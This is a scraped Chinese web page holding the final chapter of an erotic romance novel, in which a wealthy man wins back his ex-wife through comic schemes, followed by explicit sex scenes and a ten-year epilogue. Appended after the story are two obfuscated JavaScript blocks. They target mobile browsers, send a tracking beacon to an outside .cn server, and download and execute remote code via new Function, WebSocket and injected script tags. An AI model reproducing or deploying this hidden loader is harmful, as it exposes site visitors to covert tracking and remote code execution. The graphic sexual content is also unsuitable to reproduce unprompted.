图片载入中

我们又不熟

特大字】 【大字】 【中字】 【小字

“很简单啊!就鲜花、美酒加钻石,一切就搞定。”

好友游子敬这么说,于是严靖滔真的照做了。

没想到鲜花,美人收走,美酒,美人送给美人老爸喝,至于钻石嘛!美人把它退回来还给他了。

子敬出这个什么馊主意,一点用都没有。

“这招没用?没关系,我还有下一招,你唱情歌。”

“可是我歌声很烂。”

“歌声烂没关系,反正诚意最重要。”游子敬如是说,严靖滔只好硬着头皮上了。

深夜十一点,他学人家年轻小伙子一样站在夏恋家楼下,弹着吉他唱起情歌。

当天夜里,严靖滔被抓进警局,罪名是制造噪音、妨碍安宁。

而夏恋有感动到吗?

没有,夏恋只觉得很丢脸,让严靖滔只想杀了游子敬。

“你出这个什么烂主意,你害我这糗可出大了。”

“唱情歌也没用?”

“有用的话我会被抓进警局,要你来保我出去吗?”

“说得也是。如此看来,夏恋还满难搞的。”

“到现在你才知道。”夏恋要是不难追,他会搞得如此狼狈吗?

“那只能使出撒手锏了。”

“你算了吧!”他再也不听子敬的馊主意了。

“这招真的有效,你相信我,以夏恋那么有爱心的人,这一次她一定会被你感动,真的啦!你再相信我这一次。”游子敬玩上了瘾,缠着严靖滔硬要听他的。

如此如此、这般这般……

“怎么样,我这个馊主意很赞吧?”

“很赞?”赞个屁啦!“我觉得你不是在帮我,倒像是想害死我。”

教他站在大雨中被雨淋,他不死也半条命,“更何况最近晴空万里,根本不可能下雨。”

“我可以去借水车,就像拍电影一样,我可以把画面营造得很美、很浪漫。怎么样,试一下吧!”游子敬摩拳擦掌地,“反正你也没别的办法了不是?那就试一下我的法子也不会少块肉,搞不好夏恋真吃这一套也说不定呢!”游子敬口沬横飞说了老半天。

好半晌,严靖滔才点头。

子敬说得没错,除了这个馊主意,他的确没别的法子了,所以就算是死马当活马医也罢,他只好硬着头皮上了。

因此严靖滔被保释出来的隔天,夏恋家下起了滂沱大雨。

很好,那个蠢蛋又在做蠢事了。

看着外头的“雨势”,夏恋频频皱着眉头。那个大笨蛋到现在似乎还弄不懂她要他追的意思。

她不是要他用钱砸她,不是要他要浪漫,她要的是一颗真心,要一段不要任何手段而干干净净的爱情,偏偏他做的净是些蠢事,现在他连水车都借来了,她倒要看看这一次他可以撑多久?

这一次,严靖滔撑了三个夜晚——因为白天做这种事太丢脸了,所以他选择只在晚上做。

到了第三天夜晚,夏恋在屋里就听到严靖滔破口大骂,“妈的,游子敬,你抽的是什么水,为什么这么臭?”

“臭?会吗?淡水河不是变干净了?”

“淡水河!他妈的,你用淡水河的脏水淋我!”

“没办法啊!这附近的商家不借我水了呀!他们说现在闹旱灾,你这样追女朋友太伤本了。”

“他们管我伤不伤本。”该死的,脏水跑进嘴巴里,呸呸呸!

她听到严靖滔又连骂了几句粗话,他的好友游子敬似乎被他骂到臭头了,最后不得已只好问他,“那,你还淋这臭水吗?”

“淋,继续淋。”头都洗了一半了,还能不剃吗?

“还要继续啊?”

这下可好了,连她爸妈都跑出来看热闹了。

夏恋冷漠地转身,她爸、她妈马上凑到她原本的位置去看热闹。

“淡水河的水耶!”

“那不是很脏吗?”

“要是严大少爷生病了怎么办?”

“你管他怎么办?咱们家女儿又不爱他,就算他死了,也不关咱们家的事。”

她爸妈一来一往唱双簧,别以为她不知道他们在做什么,他们在演戏,想让她可怜严靖滔。

啧!她才不上当。

“哎呀!”

她妈惊唿。

“怎么了?”

她爸还问怎么了!

拜托,他不就站在妈旁边,跟着一起看热闹吗?做啥这么假啊!

“严大少爷倒了耶!”

“假的、假的,那是骗人的,女儿呀!你别上当。”末了,她爸还刻意回头跟她交代。

“但是救护车来了耶!听到没有?欧咿、欧咿……”她妈学救护车的声音。

寂静的夜里,仔细聆听,当真有救护车的声音。

那个该死的笨蛋,他真蠢到被送进了医院!

夏恋从沙发椅上弹跳了起来,一马当先冲到窗口往下看。是有救护车来,但是接的却不是严靖滔。

严靖滔他人还好好的,站在楼下笑咧了嘴冲着她挥挥手。

“你们骗我!”夏恋怒气冲冲地看着父母。他们这对叛徒。

“是呀!我们是骗你,而我们骗你尚不可原谅,但你若骗自己呢?”女儿明明很在乎严家那小子的,却说什么都不肯原谅严靖滔,如果是因为面子问题,到最后却错失了这辈子所爱,女儿真觉得那样值得吗?

“还是你宁可严靖滔真的为了你倒下去?如果你要,我相信他办得到。”

反正严靖滔为了爱他们家女儿,还有什么事做不出来?“但是你真的要他因你而倒下吗?”

夏妈妈的一句话问进夏恋的心坎里。

她真要将严靖滔逼到了绝境,她才肯原谅他、才肯放过他吗?

事实是,并没有,她并不想要置他于死地,她只是拉不下面子,说她也爱他、也在乎他……

那个笨男人……

夏恋冲了下去。

“你等一下,你站在那里别再过来了。”看到夏恋下来,严靖滔脸上没有喜悦,却斥喝她别动。

他吃错药啦?

“是我耶!”

“我知道。”她以为他瞎了,认不出她是谁啊?他当然知道她是夏恋。

“那你还叫我不要过去!”

“因为这水很臭啊!”

“很臭你不会关了它。”

对厚!夏恋都下来了,子敬干嘛还冲着他直喷脏水!

“你不会关了它啊!”他冲着好友吼道。

游子敬却说:“你不觉得这样很美吗?男女主角在雨中和好,多么浪漫啊!”

“浪漫个头啦!我只觉得很脏。”严靖滔冲过去把水给关了,再跑过去跟夏恋相见。

“等等,你很臭耶!”他还把手伸过来,他想干嘛啊?

想抱她吗?

“先回家去洗澡。”

“不能先抱抱你吗?”

“不行。”他装可怜也没用,她说不行就不行。夏恋把严靖滔推得远远地,直到他回家洗好澡。

现在能抱了吗?

严靖滔一双手又欺了过去。

夏恋单手挡下了他,“严靖滔。”

“是。”

“在你心目中,是不是只要有性就有爱?”

对啊!她怎么知道?

严靖滔亮着一双眼,他没说话,但夏恋就是看懂了这个男人的兽性,“问题是,我不是。”

“你不是?”

“我不是,你干嘛这么惊讶?”莫非,他一直以为她是?“怎么会?”

“因为每一次我抱你,你总是表现得……呃!很热情啊!”本来他是想讲淫荡的,但是夏恋的表情太凶了,他想,她应该不会喜欢“淫荡”这个字眼才是,“而且有一次你还跑去公司勾引我,你记得吗?”

他还记得那一次她虽没脱衣服,但自渎时羞怯的表情却深刻地印在他脑海里,“你忘了吗?”

“我没忘。”那么丢脸的事,她怎么会忘?“那是你逼我的。”

“我哪有逼你?”

“明明是你叫我勾引你的。”他还敢说他没逼。

“我是叫你勾引我没错,但想出那么……呃……”本来他是想讲色情的,但他想,夏恋应该不会喜欢那样的字眼冠在她身上,所以最后他折衷,“想出那么煽情的勾引手法的人是你。”

瞧,这不就意味着她很有放浪的慧根吗?

“我没有,我不是。”夏恋拒绝承认自己很色。一直以来,她都是被逼的,“我想象中的爱情根本不是那么一回事。”

“那么你想象中的爱情是怎么一回事?没有性吗?那很可怕耶!”

“当然有性。”

“那就好。”严靖滔松了一口气。

“但不是只有性。”夏恋很怕他听到有性,就立刻扑了上来,于是连忙补述,“除了性之外,我希望我们可以聊聊天。”嫁给他的那段日子,他们夫妻俩根本没好好的聊过。

“你希望跟我聊天?”

“嗯!还希望我们能手牵手一起去看电影、买东西,吃饭……”她愈讲,严靖滔脸愈皱。

“怎么,你不喜欢?”

“不是不喜欢,只是……”

“只是什么?”

“你不觉得上床有趣多了吗?”

“不!”这个家伙,怎么满脑子就只有上床这档子事!“不跟我聊天、不跟我手牵手、逛街、看电影,我们俩就没有未来。”总之,她想谈恋爱啦!可恶,干嘛要她讲得这么白!

“好好好,聊天、手牵手、逛街、看电影是吗?”OK,他陪她,这总行了吧!

从那天起,严靖滔每天都陪着夏恋玩着爱情游戏。

他送她玫瑰,请她吃饭,陪她看电影,就是不陪他上床。她想要的爱情是细火慢炖、要细细品味,这些,严靖滔都捺着性子陪她慢慢来,但是日子一天天的过去,他却日渐消沉。

“你不快乐?”

“不,有你在身边,我怎么会不快乐呢?我只是……只是光逛街、吃饭、看电影……”

“光吃饭、看电影怎样?”他要说呀!

“唔……光是这样,我没有爱的感觉。”

“没有爱的感觉?怎么会?你不觉得这样很幸福吗?”

“我觉得抱着你的感觉比较幸福。”严靖滔的回答直接又兽性。

很好,他竟然说跟她看电影一点幸福的感觉都没有,“那么你去找能让你有感觉的人一起去看电影吧!”

夏恋火大了,连着三天都不理严靖滔,而严靖滔就像死了一般,整个人提不起劲来,一点生气都没有,短短三天,公司整个停摆,他完全不理公司的事,于是游子敬又来找她。

“你们到底又怎么了?”

夏恋答不出来,她总不能跟人家讲,他们“房事”理念不合。

“我的祖奶奶呀!你能不能对他好一点?你知不知道有几百个家庭得靠他吃饭?他一没劲,我们都要失业了。”

“我对他很好了呀!”

“你对他很好,他会是那个死样子?”游子敬往客厅窝着的那个活死人看去。

没了夏恋关爱的眼神,严靖滔跟死了没什么两样。

“再对他好一点,要不然我明天带公司里几个老员工来找你。”他知道夏恋的弱点。

夏恋根本见不得人求她,尤其是那些又老又苦的弱者……对了,可以再带几个小孩子来,她对小孩子也顶没辙的。

“听到没有?明天我就要见到生龙活虎的严靖滔。”

“我干嘛听你的话?”夏恋根本不甩游子敬。

隔天,游子敬真带着公司几个生产线的妇人跟她们的小孩来。

她们老的老、小的小,一脸无助地看着她,还求她,“夏小姐,帮帮我们吧……”

该死的,这根本是游子敬那个芭乐烂人才想得出来的台词。

夏恋气死了。

“你干嘛这么坏?带她们来找我干嘛?”

“让你瞧瞧你做了什么好事呀!让你知道你不给靖滔好脸色,他就怎么对待他的员工、他的下属。要知道这叫恶性循环,一环牵着一环,受苦的是那些最下阶层的员工跟他们的小孩。而靖滔那个死性子,你是见识过的,除了你,他谁的死活都不管,光是冲着这一点,不管他做了什么罪大恶极的错事,你都该原谅他,不是?”

“为什么这段感情,退让的总是我?”

“你以为靖滔没想要退让吗?他要是不退让,你以为依他那样的大男人,他会宁可让人取笑,也要站在你家楼下唱情歌吗?他的歌声你又不是没见识过,那根本不能听,但他还是为了你唱了,你嫌他不懂浪漫、不懂爱情,是,他是不懂,但那是没人教他,可他却仍然很努力地想讨好你,你不能怪他做得不好。”

“我没怪他。”

“你不理他就是在怪他。我知道你想谈你心目中的恋爱,但你有你的理想,而靖滔也有他的,你不能一味地要他配合你,你却不顾及他的感受。”

严靖滔的感受、严靖滔以为的爱情,她没顾及吗?

夏恋仔细想想,是的,她的确是没顾及他以为的爱情,但是他以为的爱情太肉欲了啊!她怎么顾及?

夏恋瞪着那个没了性爱关系就像失去生命意义的男人一眼。

这几天,他就是这么面对他的部属的?

“他让你们不太好过?”

“不是不太好过,而是很不好过。”

“光是我们新竹厂的生产线就停了两条。”游子敬带来的作业员马上补充道,那无异是在夏恋柔软的心口上撒上盐巴。

“我知道了。”她知道自己该怎么做了,“严靖滔。”她叫他。

严靖滔抬起头来,却有气无力。

“进来房里。”

进去房里?“干嘛?帮你剪脚指甲吗?”

什么,他们总裁在家里得帮爱人剪脚指甲!

大家吓死了,因为很难想象啊!那样一个威风凛凛的大男人会帮他的小女人剪……剪脚指甲耶!

“不是剪指甲啦!”该死的,他干嘛当着众人的面讲他们闺房内的事啊!

他……他不羞吗?

夏恋气死了,但严靖滔现在被失望的情绪填满整个脑袋,他根本没发现他的小妻子又怒又羞。

“不剪指甲,那要干嘛?”

干嘛?

“就……就谈你想谈的爱情啊!”他非要她讲得这么白不可吗?

啧!真是的。

谈他想谈的爱情?

严靖滔一听,这下子眼睛全亮了。他站了起来,马上拉着夏恋冲进房里。

谈他想谈的恋爱是吗?那他就不客气了哟!

严靖滔像只大野狼地出手——

闲杂人等,急急回避,因为接下来的画面……不,是连声音都不宜小孩子观赏和聆听。

“严靖滔,你能不能……能不能别这样,呜……”夏恋觉得好羞人哟!严靖滔将她拖进房间之后,连衣服都来不及脱地便将她压在床上,手伸进他的裤裆,掏出他的宝贝。

他拉着她的手按在他的热铁上,要她帮他揉揉。

天哪!就是这样,所以她才无法理直气壮地接受他心目中以为的爱情啊!因为他心目中的爱情是如此肉欲又如此煽情。

他就不能正常点吗?为什么一定要她做这么羞人的事?

“快点,再快一点。”他一边要她揉他的长棒,一边用手揉她的乳房。

他好久没碰她了,她都不知道他有多想她,偏偏这些日子,她只想要聊天、逛街、看电影,让他过着只能看不能碰的日子,她都不晓得他憋得多痛苦,现在他终于一偿宿愿,当然是恶虎扑羊般地扑上她。

夏恋……噢!夏恋……“你真美。”

是哟!她真美这种情话,他也只有在床上才会夸她。她早就认清了这项事实,所以当他说她美的时候,她一点也不感动,因为她知道他接下来要做的事只会更色情。

果不其然,说完了她真美之后,严靖滔便迫不及待地从她手中将他的宝贝接过去。

不是嫌夏恋做得不好,只是她做得太慢,他根本等不及。他憋太久了,现在很想出来。

“你先等我一下。”压在夏恋柔软的身上,严靖滔一边亲吻她,一边用手将自己灼热的体液给挤出来。

他先让自己攀上高峰一回,先虚脱一次之后再讲。

夏恋不懂,“明明你也可以用手的,你根本不需要我。”

“不—样。”

“怎么会不一样?”刚刚明明没有她,他也能达到高潮的不是吗?

“你活色生香地躺在我怀里,不是我平空想象出来的,怎么会一样?”严靖滔抽了几张面纸欲将洒在她阴户上的体液给擦干净。

夏恋连忙阻止他,“不用了,我来就好。”

“让我来。”他知道刚刚自己太急了,一点也没让夏恋舒服,但接下来会不一样,他会让夏恋同样地喜欢上这种谈恋爱的感觉。

严靖滔将自己灼热的体液抹在夏恋的阴户上,让夏恋的花唇一下子就变得黏黏湿湿的,充满色情的感觉,他再用舌头舔她唇肉上的皱褶,拨开花唇,舌头触及更里面、更湿热的甬道内。

他一边舔着,一边用他修长的手指扣弄夏恋的阴穴,让她动情地流出更多的淫水。

他唿出来的每一口热气都直接吹在夏恋火烫变红的湿穴里,她穴口剧烈地张阖着。

他长指一伸进去,她的嫩肉马上紧紧地将它咬住。她的反应是如此可爱呀!她还说她不爱这种谈恋爱方式,她明明也很喜欢的。

严靖滔双唇含住夏恋颤抖的花蒂,重重地吸吮着,细长的舌头还不时地顶向它。他一顶,夏恋就像触电似的,身子往后一缩,小穴动得好厉害。

严靖滔将夏恋的身子往上拉,双膝倒挂在耳朵旁,阴穴、花缝就展现在他眼前,让他不费力气地就能尝到她的甜美滋味。

“严靖滔……别这样……”她这个姿势让她觉得好糗喔!呜……他能不能别看?

“到现在了,你还害羞!”他们做也做了够多次了,不过她还是不习惯他放浪的要爱方式。

她实在是太保守了,“你这样很美啊!”

“你别说了……”他愈说她愈觉得丢脸。她这样只能称作放浪,怎么能叫做美!

他根本是色欲熏心,呜……“你的手别动得那么快呀!”

“太快了吗?”

该死的,他竟然用他亲吻过她那里的嘴吻她,让她一唿吸就全是自己的味道。

“你脸好红喔!”

废话,那是当然的,他要她做了那么丢脸的事,她当然会脸红,呜……

“严靖滔……”他扶着他的巨大昂扬在她穴前撩拨。

“你弄得我好湿。”

噢!他的话真色!

夏恋想捂住耳朵,严靖滔却乘机揩了她身下的蜜汁一把,再将他湿透的手指伸进她嘴里让他舔,“怎么样?”

什么怎么样?

“是不是很甜?”

他胡说,那哪有很甜,她只觉得这样很色。

严靖滔的手指在她嘴里抽进抽出的,感觉很像他的肉刃在她阴穴进出的模样,让她更是欲火难捺。

“你很想要了对不对?”夏恋的湿穴动得比刚刚快多了,严靖滔将长指再挤进第二根,她一样将它咬得紧紧地。

瞧,她明明很喜欢的,但她却老是不给他,老是要谈纯纯的恋爱,他一点也不懂那有什么好玩的?

在床上谈恋爱不是刺激多了吗?

严靖滔更卖力地使出他所有的花招,目的就是想要夏恋认同他谈恋爱的方式,只要夏恋认同了,或许以后他就不用再受逛街之苦。

看电影?

那更无聊好不好!他是个连A片都不看的人耶!

“夏恋……”

“嗯?”

“说你想要。”他要逼夏恋承认,其实像这样,两人在床上谈恋爱的方式也不错。

“不……”她才不说那么羞人的话。

“不说?那么就停止了哟!”严靖滔残忍地将手指抽出,让正快要高潮的小穴一下子没了实物的填补,充满空虚的感觉。

“不……”

“不?”

“你别这么残忍。”她想要啊!夏恋抓着严靖滔的手往她两腿间而去。

“你想要就开口告诉我啊!你不是这样告诉我的吗?爱要说出来,你不说我怎么会懂呢?”他的手指在夏恋的洞口轻轻刮弄着,逗弄她细嫩且敏感的唇肉。

他一碰,她就抽搐颤抖着。

夏恋的身体想要严靖滔的进入想得发疼。

“说呀!说你要我,说你要我狠狠地进入你湿润的小穴中,将你填得满满的。”他一边说,一边用手指描绘她阴户的形状。

她真的很美,她知不知道?

严靖滔掬起一把水蜜,长舌卷向她。

呜……“严靖滔……”

“你想要的是不是?”

“是……”

“想要就说呀!”说呀、说呀!

他一次又一次地折磨夏恋,直到夏恋再也承受不住他的撩拨,她蒙着脸,羞耻地跟他开口,“求求你……”

“求我什么?”

“求你进来……”

“进来哪里?”

“进来这里……”夏恋分开了双腿,邀他进来。

严靖滔笑逐颜开。

夏恋终于开口了,看她以后还敢不敢小看他谈情说爱的方式。

严靖滔如夏恋所愿地将他硬挺的长棒挤进她颤抖的小穴里,在一次又一次的抽送中,两人达成未来的恋爱模式——

以后,他们半个月谈床上恋爱,半个月谈夏恋想要的浪漫约会。夏恋甚至告诉自己,爱要慢慢调教,慢慢地,只有肉欲的严靖滔会懂为什么光是手牵手就会有幸福的感觉。

但严靖滔是个顽固的家伙,他怎么教都教不会。

于是严靖滔的部属们总是过着半个月幸福美满没人骂的日子,半个月过着生不如死的苦难生活,如此恶性循环,直到严靖滔跟夏恋再次结婚,孩子一个接一个出世,但是两人的磨合期似乎没完没了一直过、一直过……

那样的日子也过了十年,严靖滔跟夏恋想象中的爱情还没得到共通点。严靖滔依旧很肉欲,夏恋一样向往浪漫的生活,倒是他们两人渐渐取得了平衡,知道在爱情里谁也勉强不了谁,想要继续跟对方过日子,就得忍受彼此的不同点。所以到了最后,认识对方久了,他们也不再要求对方改变。

严靖滔依旧是个除了夏恋之外,谁都不理的专制霸权的大男人,就算是对自己的小孩也一样。

那天,他那才一岁大,才刚学会走路的女儿还不太知道她父亲可恶的嘴脸,迈着两只小短腿跌跌撞撞地跑到他跟前,涎着一张小笑脸。

严靖滔只是狠狠地看了她一眼。

小女娃不懂父亲难看的脸色代表着不友善,她当大家都喜欢她,看到她只会想要抱抱她、亲亲她,说她一句:好可爱哟!

她继续对着父亲笑。

严靖滔等着不耐烦了,便说:“去去去,去找你哥哥玩。”

“把把,抱抱。”

装作没听到。严靖滔把报纸再拿高一些。

小女娃抱住了他的大腿,他提起脚,本来想把小女孩甩开的,但老婆大人驾到。

“严靖滔,你想做什么?”夏恋赶来护驾。

严靖滔才刚想睁眼说瞎话,说他没有之际,他那个铁定是捡来的儿子马上跟他妈打小报告,“他想把妹妹踢走,叫她滚。”

“我哪有!”

“你明明就有,别以为我不知道你的戏码,小时候我就被你踢走好几次。”渐渐地,他长大了,知道父亲除了母亲,对谁都不友善,他幼小的心灵才稍稍好些。

但妈妈说不可以恨爸爸哟!妈妈说爸爸小时候被他爸爸打得很惨,爸爸的妈妈又不护着他,所以爸爸长大之后就学不会怎么去爱一个人了……那段故事,妈妈说得很长,他听得不大懂,只记得爸爸有一个悲惨的童年。他不可以讨厌爸爸,因为爸爸的坏是“情有可原”……是这样说没错吧?总之,他会学着去原谅爸爸,但是爸爸怎么老是学不乖啊!

“妹妹是用来疼的,哦?妈妈。”哥哥抱起了妹妹,抬头看向母亲。

夏恋蹲着把两个小孩环进怀里。

那是一幅天伦画面。

严靖滔看了却只觉得碍眼,心里只有一个想法,那就是那两个小鬼到底还要霸占夏恋多久啊?夏恋可以换人抱抱看了吗?

严靖滔强忍着从儿子女儿怀中把夏恋抢过来的念头,他一忍再忍……

“好了,三十秒到了。”这是他的极限了。严靖滔左手一个、右手一个,把儿子、女儿丢到身后,交给保母带。

“你数太快了啦!”儿子抗议,但抗议无效,他既然是老爸,那么这个家当然是他说了算。

严靖滔抱起老婆,进入他们爱的小窝。

他对夏恋身体的爱恋是十年如一日,让夏恋真的很怀疑,他怎么可以用这种极肉欲的方式爱她这么多年呢?

“严靖滔,你不觉得我生过小孩的身体已经变形了吗?”

“怎么会?我还是觉得一样漂亮啊!”

哪有?她明明变肿又变胖了,他没发现吗?

夏恋偷偷觑了老公一眼,只见严靖滔忙着挑逗她,至于她的身材,她很怀疑他真的有注意到吗?她这个老公,看来真的十分盲目呀!

【全文完】


上一篇:浴室激情

下一篇:悲剧儿童节


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};